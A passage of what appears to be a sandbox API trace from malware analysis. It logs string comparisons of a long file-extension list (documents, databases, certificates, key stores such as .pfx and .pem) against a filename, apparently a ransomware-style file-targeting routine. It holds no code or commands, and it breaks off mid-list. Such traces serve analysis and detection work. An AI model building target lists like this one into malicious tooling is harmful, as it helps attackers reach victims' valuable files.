	[0069.853] lstrlenW (lpString=".ascx") returned 5
	[0069.853] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0069.853] lstrlenW (lpString=".asm") returned 4
	[0069.853] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0069.853] lstrlenW (lpString=".asmx") returned 5
	[0069.853] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0069.853] lstrlenW (lpString=".asp") returned 4
	[0069.853] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0069.853] lstrlenW (lpString=".aspx") returned 5
	[0069.853] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0069.853] lstrlenW (lpString=".asr") returned 4
	[0069.853] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0069.853] lstrlenW (lpString=".asx") returned 4
	[0069.853] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0069.853] lstrlenW (lpString=".avi") returned 4
	[0069.853] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0069.853] lstrlenW (lpString=".avs") returned 4
	[0069.853] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0069.853] lstrlenW (lpString=".backup") returned 7
	[0069.853] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0069.853] lstrlenW (lpString=".bak") returned 4
	[0069.853] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0069.853] lstrlenW (lpString=".bay") returned 4
	[0069.853] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0069.853] lstrlenW (lpString=".bd") returned 3
	[0069.853] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0069.853] lstrlenW (lpString=".bin") returned 4
	[0069.853] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0069.853] lstrlenW (lpString=".bmp") returned 4
	[0069.854] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0069.854] lstrlenW (lpString=".bz2") returned 4
	[0069.854] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0069.854] lstrlenW (lpString=".c") returned 2
	[0069.854] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0069.854] lstrlenW (lpString=".cdr") returned 4
	[0069.854] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0069.854] lstrlenW (lpString=".cer") returned 4
	[0069.854] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0069.854] lstrlenW (lpString=".cf") returned 3
	[0069.854] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0069.854] lstrlenW (lpString=".cfc") returned 4
	[0069.854] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0069.854] lstrlenW (lpString=".cfm") returned 4
	[0069.854] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0069.854] lstrlenW (lpString=".cfml") returned 5
	[0069.854] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0069.854] lstrlenW (lpString=".cfu") returned 4
	[0069.854] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0069.854] lstrlenW (lpString=".chm") returned 4
	[0069.854] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0069.854] lstrlenW (lpString=".cin") returned 4
	[0069.854] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0069.854] lstrlenW (lpString=".class") returned 6
	[0069.854] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0069.854] lstrlenW (lpString=".clx") returned 4
	[0069.854] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0069.854] lstrlenW (lpString=".config") returned 7
	[0069.854] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0069.854] lstrlenW (lpString=".cpp") returned 4
	[0069.854] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0069.854] lstrlenW (lpString=".cr2") returned 4
	[0069.854] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0069.854] lstrlenW (lpString=".crt") returned 4
	[0069.854] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0069.854] lstrlenW (lpString=".crw") returned 4
	[0069.855] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0069.855] lstrlenW (lpString=".cs") returned 3
	[0069.855] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0069.855] lstrlenW (lpString=".css") returned 4
	[0069.855] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0069.855] lstrlenW (lpString=".csv") returned 4
	[0069.855] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0069.855] lstrlenW (lpString=".cub") returned 4
	[0069.855] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0069.855] lstrlenW (lpString=".dae") returned 4
	[0069.855] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0069.855] lstrlenW (lpString=".dat") returned 4
	[0069.855] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0069.855] lstrlenW (lpString=".db") returned 3
	[0069.855] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0069.855] lstrlenW (lpString=".dbf") returned 4
	[0069.855] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0069.855] lstrlenW (lpString=".dbx") returned 4
	[0069.855] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0069.855] lstrlenW (lpString=".dc3") returned 4
	[0069.855] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0069.855] lstrlenW (lpString=".dcm") returned 4
	[0069.855] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0069.855] lstrlenW (lpString=".dcr") returned 4
	[0069.855] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0069.855] lstrlenW (lpString=".der") returned 4
	[0069.855] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0069.855] lstrlenW (lpString=".dib") returned 4
	[0069.855] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0069.855] lstrlenW (lpString=".dic") returned 4
	[0069.855] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0069.855] lstrlenW (lpString=".dif") returned 4
	[0069.855] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0069.855] lstrlenW (lpString=".divx") returned 5
	[0069.855] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0069.855] lstrlenW (lpString=".djvu") returned 5
	[0069.855] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0069.856] lstrlenW (lpString=".dng") returned 4
	[0069.856] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0069.856] lstrlenW (lpString=".doc") returned 4
	[0069.856] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0069.856] lstrlenW (lpString=".docm") returned 5
	[0069.856] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0069.856] lstrlenW (lpString=".docx") returned 5
	[0069.856] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0069.856] lstrlenW (lpString=".dot") returned 4
	[0069.856] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0069.856] lstrlenW (lpString=".dotm") returned 5
	[0069.856] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0069.856] lstrlenW (lpString=".dotx") returned 5
	[0069.856] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0069.856] lstrlenW (lpString=".dpx") returned 4
	[0069.856] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0069.856] lstrlenW (lpString=".dqy") returned 4
	[0069.856] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0069.856] lstrlenW (lpString=".dsn") returned 4
	[0069.856] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0069.856] lstrlenW (lpString=".dt") returned 3
	[0069.856] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0069.856] lstrlenW (lpString=".dtd") returned 4
	[0069.856] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0069.856] lstrlenW (lpString=".dwg") returned 4
	[0069.856] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0069.856] lstrlenW (lpString=".dwt") returned 4
	[0069.856] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0069.856] lstrlenW (lpString=".dx") returned 3
	[0069.856] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0069.856] lstrlenW (lpString=".dxf") returned 4
	[0069.856] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0069.856] lstrlenW (lpString=".edml") returned 5
	[0069.856] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0069.856] lstrlenW (lpString=".efd") returned 4
	[0069.856] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0069.856] lstrlenW (lpString=".elf") returned 4
	[0069.856] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0069.857] lstrlenW (lpString=".emf") returned 4
	[0069.857] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0069.857] lstrlenW (lpString=".emz") returned 4
	[0069.857] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0069.857] lstrlenW (lpString=".epf") returned 4
	[0069.857] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0069.857] lstrlenW (lpString=".eps") returned 4
	[0069.857] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0069.857] lstrlenW (lpString=".epsf") returned 5
	[0069.857] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0069.857] lstrlenW (lpString=".epsp") returned 5
	[0069.857] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0069.857] lstrlenW (lpString=".erf") returned 4
	[0069.857] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0069.857] lstrlenW (lpString=".exr") returned 4
	[0069.857] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0069.857] lstrlenW (lpString=".f4v") returned 4
	[0069.857] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0069.857] lstrlenW (lpString=".fido") returned 5
	[0069.857] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0069.857] lstrlenW (lpString=".flm") returned 4
	[0069.857] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0069.857] lstrlenW (lpString=".flv") returned 4
	[0069.857] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0069.857] lstrlenW (lpString=".frm") returned 4
	[0069.857] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0069.857] lstrlenW (lpString=".fxg") returned 4
	[0069.857] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0069.857] lstrlenW (lpString=".geo") returned 4
	[0069.857] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0069.857] lstrlenW (lpString=".gif") returned 4
	[0069.857] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0069.857] lstrlenW (lpString=".grs") returned 4
	[0069.857] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0069.857] lstrlenW (lpString=".gz") returned 3
	[0069.857] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0069.857] lstrlenW (lpString=".h") returned 2
	[0069.857] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0069.858] lstrlenW (lpString=".hdr") returned 4
	[0069.858] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0069.858] lstrlenW (lpString=".hpp") returned 4
	[0069.858] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0069.858] lstrlenW (lpString=".hta") returned 4
	[0069.858] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0069.858] lstrlenW (lpString=".htc") returned 4
	[0069.858] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0069.858] lstrlenW (lpString=".htm") returned 4
	[0069.858] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0069.858] lstrlenW (lpString=".html") returned 5
	[0069.858] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0069.858] lstrlenW (lpString=".icb") returned 4
	[0069.858] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0069.858] lstrlenW (lpString=".ics") returned 4
	[0069.858] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0069.858] lstrlenW (lpString=".iff") returned 4
	[0069.858] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0069.858] lstrlenW (lpString=".inc") returned 4
	[0069.858] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0069.858] lstrlenW (lpString=".indd") returned 5
	[0069.858] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0069.858] lstrlenW (lpString=".ini") returned 4
	[0069.858] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0069.858] lstrlenW (lpString=".iqy") returned 4
	[0069.858] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0069.858] lstrlenW (lpString=".j2c") returned 4
	[0069.858] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0069.858] lstrlenW (lpString=".j2k") returned 4
	[0069.858] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0069.858] lstrlenW (lpString=".java") returned 5
	[0069.858] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0069.858] lstrlenW (lpString=".jp2") returned 4
	[0069.858] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0069.858] lstrlenW (lpString=".jpc") returned 4
	[0069.858] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0069.859] lstrlenW (lpString=".jpe") returned 4
	[0069.859] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0069.859] lstrlenW (lpString=".jpeg") returned 5
	[0069.859] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0069.859] lstrlenW (lpString=".jpf") returned 4
	[0069.859] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0069.859] lstrlenW (lpString=".jpg") returned 4
	[0069.859] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0069.859] lstrlenW (lpString=".jpx") returned 4
	[0069.859] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0069.859] lstrlenW (lpString=".js") returned 3
	[0069.859] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0069.859] lstrlenW (lpString=".jsf") returned 4
	[0069.859] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0069.859] lstrlenW (lpString=".json") returned 5
	[0069.859] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0069.859] lstrlenW (lpString=".jsp") returned 4
	[0069.859] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0069.859] lstrlenW (lpString=".kdc") returned 4
	[0069.859] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0069.859] lstrlenW (lpString=".kmz") returned 4
	[0069.859] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0069.859] lstrlenW (lpString=".kwm") returned 4
	[0069.859] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0069.859] lstrlenW (lpString=".lasso") returned 6
	[0069.859] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0069.859] lstrlenW (lpString=".lbi") returned 4
	[0069.859] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0069.859] lstrlenW (lpString=".lgf") returned 4
	[0069.859] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0069.859] lstrlenW (lpString=".lgp") returned 4
	[0069.859] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0069.859] lstrlenW (lpString=".log") returned 4
	[0069.859] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0069.859] lstrlenW (lpString=".m1v") returned 4
	[0069.859] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0069.859] lstrlenW (lpString=".m4a") returned 4
	[0069.859] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0069.860] lstrlenW (lpString=".m4v") returned 4
	[0069.860] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0069.860] lstrlenW (lpString=".max") returned 4
	[0069.860] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0069.860] lstrlenW (lpString=".md") returned 3
	[0069.860] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0069.860] lstrlenW (lpString=".mda") returned 4
	[0069.860] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0069.860] lstrlenW (lpString=".mdb") returned 4
	[0069.860] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0069.860] lstrlenW (lpString=".mde") returned 4
	[0069.860] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0069.860] lstrlenW (lpString=".mdf") returned 4
	[0069.860] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0069.860] lstrlenW (lpString=".mdw") returned 4
	[0069.860] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0069.860] lstrlenW (lpString=".mef") returned 4
	[0069.860] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0069.860] lstrlenW (lpString=".mft") returned 4
	[0069.860] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0069.860] lstrlenW (lpString=".mfw") returned 4
	[0069.860] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0069.860] lstrlenW (lpString=".mht") returned 4
	[0069.860] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0069.860] lstrlenW (lpString=".mhtml") returned 6
	[0069.860] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0069.860] lstrlenW (lpString=".mka") returned 4
	[0069.860] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0069.860] lstrlenW (lpString=".mkidx") returned 6
	[0069.860] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0069.860] lstrlenW (lpString=".mkv") returned 4
	[0069.860] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0069.860] lstrlenW (lpString=".mos") returned 4
	[0069.860] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0069.860] lstrlenW (lpString=".mov") returned 4
	[0069.860] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0069.860] lstrlenW (lpString=".mp3") returned 4
	[0069.861] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0069.861] lstrlenW (lpString=".mp4") returned 4
	[0069.861] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0069.861] lstrlenW (lpString=".mpeg") returned 5
	[0069.861] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0069.861] lstrlenW (lpString=".mpg") returned 4
	[0069.861] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0069.861] lstrlenW (lpString=".mpv") returned 4
	[0069.861] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0069.861] lstrlenW (lpString=".mrw") returned 4
	[0069.861] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0069.861] lstrlenW (lpString=".msg") returned 4
	[0069.861] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0069.861] lstrlenW (lpString=".mxl") returned 4
	[0069.861] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0069.861] lstrlenW (lpString=".myd") returned 4
	[0069.861] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0069.861] lstrlenW (lpString=".myi") returned 4
	[0069.861] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0069.861] lstrlenW (lpString=".nef") returned 4
	[0069.861] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0069.861] lstrlenW (lpString=".nrw") returned 4
	[0069.861] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0069.861] lstrlenW (lpString=".obj") returned 4
	[0069.861] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0069.861] lstrlenW (lpString=".odb") returned 4
	[0069.861] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0069.861] lstrlenW (lpString=".odc") returned 4
	[0069.861] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0069.861] lstrlenW (lpString=".odm") returned 4
	[0069.861] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0069.861] lstrlenW (lpString=".odp") returned 4
	[0069.861] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0069.861] lstrlenW (lpString=".ods") returned 4
	[0069.861] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0069.861] lstrlenW (lpString=".oft") returned 4
	[0069.861] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0069.862] lstrlenW (lpString=".one") returned 4
	[0069.862] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0069.862] lstrlenW (lpString=".onepkg") returned 7
	[0069.862] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0069.862] lstrlenW (lpString=".onetoc2") returned 8
	[0069.862] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0069.862] lstrlenW (lpString=".opt") returned 4
	[0069.862] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0069.862] lstrlenW (lpString=".oqy") returned 4
	[0069.862] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0069.862] lstrlenW (lpString=".orf") returned 4
	[0069.862] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0069.862] lstrlenW (lpString=".p12") returned 4
	[0069.862] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0069.862] lstrlenW (lpString=".p7b") returned 4
	[0069.862] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0069.862] lstrlenW (lpString=".p7c") returned 4
	[0069.862] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0069.862] lstrlenW (lpString=".pam") returned 4
	[0069.862] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0069.862] lstrlenW (lpString=".pbm") returned 4
	[0069.862] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0069.862] lstrlenW (lpString=".pct") returned 4
	[0069.862] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0069.862] lstrlenW (lpString=".pcx") returned 4
	[0069.862] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0069.862] lstrlenW (lpString=".pdd") returned 4
	[0069.862] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0069.862] lstrlenW (lpString=".pdf") returned 4
	[0069.862] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0069.862] lstrlenW (lpString=".pdp") returned 4
	[0069.862] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0069.862] lstrlenW (lpString=".pef") returned 4
	[0069.862] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0069.862] lstrlenW (lpString=".pem") returned 4
	[0069.862] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0069.863] lstrlenW (lpString=".pff") returned 4
	[0069.863] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0069.863] lstrlenW (lpString=".pfm") returned 4
	[0069.863] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0069.863] lstrlenW (lpString=".pfx") returned 4
	[0069.863] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0069.863] lstrlenW (lpString=".pgm") returned 4
	[0069.863] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0069.863] lstrlenW (lpString=".php") returned 4
	[0069.863] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0069.863] lstrlenW (lpString=".php3") returned 5
	[0069.863] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0069.863] lstrlenW (lpString=".php4") returned 5
	[0069.863] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0069.863] lstrlenW (lpString=".php5") returned 5
	[0069.863] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0069.863] lstrlenW (lpString=".phtml") returned 6
	[0069.863] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0069.863] lstrlenW (lpString=".pict") returned 5
	[0069.863] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0069.863] lstrlenW (lpString=".pl") returned 3
	[0069.863] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0069.863] lstrlenW (lpString=".pls") returned 4
	[0069.863] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0069.863] lstrlenW (lpString=".pm") returned 3
	[0069.863] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0069.863] lstrlenW (lpString=".png") returned 4
	[0069.863] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0069.863] lstrlenW (lpString=".pnm") returned 4
	[0069.863] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0069.863] lstrlenW (lpString=".pot") returned 4
	[0069.863] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0069.863] lstrlenW (lpString=".potm") returned 5
	[0069.864] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0069.864] lstrlenW (lpString=".potx") returned 5
	[0069.864] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0069.864] lstrlenW (lpString=".ppa") returned 4
	[0069.864] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0069.864] lstrlenW (lpString=".ppam") returned 5
	[0069.864] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0069.864] lstrlenW (lpString=".ppm") returned 4
	[0069.864] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0069.864] lstrlenW (lpString=".pps") returned 4
	[0069.864] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0069.864] lstrlenW (lpString=".ppsm") returned 5
	[0069.864] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0069.864] lstrlenW (lpString=".ppt") returned 4
	[0069.864] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0069.864] lstrlenW (lpString=".pptm") returned 5
	[0069.864] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0069.864] lstrlenW (lpString=".pptx") returned 5
	[0069.864] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0069.864] lstrlenW (lpString=".prn") returned 4
	[0069.864] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0069.864] lstrlenW (lpString=".ps") returned 3
	[0069.864] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0069.864] lstrlenW (lpString=".psb") returned 4
	[0069.864] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0069.864] lstrlenW (lpString=".psd") returned 4
	[0069.864] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0069.864] lstrlenW (lpString=".pst") returned 4
	[0069.864] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0069.864] lstrlenW (lpString=".ptx") returned 4
	[0069.864] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0069.864] lstrlenW (lpString=".pub") returned 4
	[0069.864] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0069.864] lstrlenW (lpString=".pwm") returned 4
	[0069.864] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0069.864] lstrlenW (lpString=".pxr") returned 4
	[0069.864] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0069.865] lstrlenW (lpString=".py") returned 3
	[0069.865] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0069.865] lstrlenW (lpString=".qt") returned 3
	[0069.865] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0069.865] lstrlenW (lpString=".r3d") returned 4
	[0069.865] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0069.865] lstrlenW (lpString=".raf") returned 4
	[0069.865] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0069.865] lstrlenW (lpString=".rar") returned 4
